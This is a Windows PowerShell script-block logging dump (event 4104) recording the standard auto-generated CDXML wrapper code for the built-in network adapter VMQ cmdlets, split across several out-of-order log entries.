Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1881 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-05ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterVmqQueueSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterVmqQueue
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterVmqQueueSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[uint32[]]
${Id},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Id') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Id})
$__cmdletization_queryBuilder.FilterByProperty('QueueID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmqQueue.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterVmqQueue' -Alias '*'
ScriptBlock ID: eaf73da6-1b13-496b-b53c-0b5a4dd70775
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1880 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-d428-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
rt}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmq.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterVmq' -Alias '*'
function Disable-NetAdapterVmq
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterVmqSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmq.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterVmq' -Alias '*'
ScriptBlock ID: c4f18d55-48e5-4a1d-a0ed-e1ba61b9bd1f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1879 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-ce28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
cessorGroup}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseProcessorNumber')) {
[object]$__cmdletization_value = ${BaseProcessorNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessors')) {
[object]$__cmdletization_value = ${MaxProcessors}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessors'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessors'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessorNumber')) {
[object]$__cmdletization_value = ${MaxProcessorNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NumaNode')) {
[object]$__cmdletization_value = ${NumaNode}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumaNode'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumaNode'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmq.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterVmq' -Alias '*'
function Enable-NetAdapterVmq
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterVmqSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoResta
ScriptBlock ID: c4f18d55-48e5-4a1d-a0ed-e1ba61b9bd1f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1878 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-ce28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterVmqSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterVmq
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterVmqSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
